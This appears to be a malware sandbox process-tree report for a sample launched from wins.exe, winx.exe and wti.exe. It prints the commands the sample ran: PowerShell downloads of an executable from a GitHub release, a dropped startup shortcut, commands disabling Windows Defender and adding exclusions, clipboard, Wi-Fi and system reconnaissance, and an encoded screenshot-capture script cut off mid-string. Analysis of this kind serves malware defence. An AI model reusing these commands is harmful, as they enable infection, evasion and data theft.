    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffabc4746f8,0x7ffabc474708,0x7ffabc474718
    3⤵
    PID:4740
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2144,8647252870218569418,12996388764190023770,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2156 /prefetch:2
    3⤵
    PID:332
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2144,8647252870218569418,12996388764190023770,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 /prefetch:3
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4960
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2144,8647252870218569418,12996388764190023770,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2696 /prefetch:8
    3⤵
    PID:2252
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,8647252870218569418,12996388764190023770,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3328 /prefetch:1
    3⤵
    PID:2028
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,8647252870218569418,12996388764190023770,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3352 /prefetch:1
    3⤵
    PID:612
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2144,8647252870218569418,12996388764190023770,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5876 /prefetch:8
    3⤵
    PID:1536
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,8647252870218569418,12996388764190023770,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6080 /prefetch:1
    3⤵
    PID:2404
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2144,8647252870218569418,12996388764190023770,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6168 /prefetch:8
    3⤵
    PID:768
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2144,8647252870218569418,12996388764190023770,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6168 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5092
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2144,8647252870218569418,12996388764190023770,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5316 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3800
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,8647252870218569418,12996388764190023770,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5124 /prefetch:1
    3⤵
    PID:5108
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,8647252870218569418,12996388764190023770,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5240 /prefetch:1
    3⤵
    PID:3644
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,8647252870218569418,12996388764190023770,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5724 /prefetch:1
    3⤵
    PID:2100
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,8647252870218569418,12996388764190023770,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5892 /prefetch:1
    3⤵
    PID:3304
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,8647252870218569418,12996388764190023770,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3464 /prefetch:1
    3⤵
    PID:1620
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2144,8647252870218569418,12996388764190023770,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5340 /prefetch:8
    3⤵
    PID:5512
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2144,8647252870218569418,12996388764190023770,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5736 /prefetch:2
    3⤵
    PID:5788
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,8647252870218569418,12996388764190023770,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5800 /prefetch:1
    3⤵
    PID:6060
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2144,8647252870218569418,12996388764190023770,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5736 /prefetch:8
    3⤵
    PID:2188
- C:\Users\Admin\AppData\Local\Temp\Temp1_wins.zip\wins.exe
  "C:\Users\Admin\AppData\Local\Temp\Temp1_wins.zip\wins.exe"
  2⤵
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:4760
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Invoke-WebRequest -Uri "https://github.com/newbigs/newintsh/releases/download/v1/ZNctu" -OutFile "C:\Users\Public\Guard.exe""
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3428
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5356
  - - C:\Users\Public\Guard.exe
      "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      PID:5592
- C:\Windows\SysWOW64\cmd.exe
  cmd /k echo [InternetShortcut] > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\Admin\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit
  2⤵
  - Drops startup file
  - System Location Discovery: System Language Discovery
  PID:5664
- C:\Users\Admin\AppData\Local\Temp\Temp1_wins.zip\wins.exe
  "C:\Users\Admin\AppData\Local\Temp\Temp1_wins.zip\wins.exe"
  2⤵
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:5760
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Invoke-WebRequest -Uri "https://github.com/newbigs/newintsh/releases/download/v1/ZNctu" -OutFile "C:\Users\Public\Guard.exe""
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5776
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5992
  - - C:\Users\Public\Guard.exe
      "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SendNotifyMessage
      PID:2520
- C:\Users\Admin\AppData\Local\Temp\Temp1_wins.zip\wins.exe
  "C:\Users\Admin\AppData\Local\Temp\Temp1_wins.zip\wins.exe"
  2⤵
  - Suspicious use of SendNotifyMessage
  PID:4300
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Invoke-WebRequest -Uri "https://github.com/newbigs/newintsh/releases/download/v1/ZNctu" -OutFile "C:\Users\Public\Guard.exe""
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2784
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5552
  - - C:\Users\Public\Guard.exe
      "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of SendNotifyMessage
      PID:5700
- C:\Users\Public\jsc.exe
  C:\Users\Public\jsc.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:5732
- C:\Users\Public\jsc.exe
  C:\Users\Public\jsc.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:5892
- C:\Users\Public\jsc.exe
  C:\Users\Public\jsc.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:5932
- C:\Users\Admin\Downloads\wti\winx.exe
  "C:\Users\Admin\Downloads\wti\winx.exe"
  2⤵
  - Suspicious use of SendNotifyMessage
  PID:5448
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Invoke-WebRequest -Uri "https://github.com/newbigs/newintsh/releases/download/v1/JjlTHchjP" -OutFile "C:\Users\Public\Guard.exe""
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - Suspicious use of AdjustPrivilegeToken
    PID:5640
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:940
  - - C:\Users\Public\Guard.exe
      "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:6016
- C:\Users\Admin\Downloads\wti\wti.exe
  "C:\Users\Admin\Downloads\wti\wti.exe"
  2⤵
  PID:2804
- - C:\Users\Admin\Downloads\wti\wti.exe
    "C:\Users\Admin\Downloads\wti\wti.exe"
    3⤵
    - Loads dropped DLL
    PID:3012
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads\wti\wti.exe'"
      4⤵
      PID:3448
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads\wti\wti.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:5172
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
      4⤵
      PID:5892
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:3740
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('.', 0, 'windows', 48+16);close()""
      4⤵
      PID:5392
    - - C:\Windows\system32\mshta.exe
        
        mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('.', 0, 'windows', 48+16);close()"
        5⤵
        
        PID:5564
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‏ .scr'"
      4⤵
      PID:232
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‏ .scr'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2276
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
      4⤵
      PID:3772
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:2484
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
      4⤵
      PID:5688
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:3928
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
      4⤵
      PID:1204
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4384
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
      4⤵
      Clipboard Data
      PID:3116
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-Clipboard
        5⤵
        Clipboard Data
        Suspicious use of AdjustPrivilegeToken
        
        PID:5004
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
      4⤵
      PID:4724
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:512
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      PID:5784
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:5812
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:3644
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show profile
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:3696
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "systeminfo"
      4⤵
      PID:3684
    - - C:\Windows\system32\systeminfo.exe
        
        systeminfo
        5⤵
        Gathers system information
        
        PID:728
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
      4⤵
      PID:3752
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgAC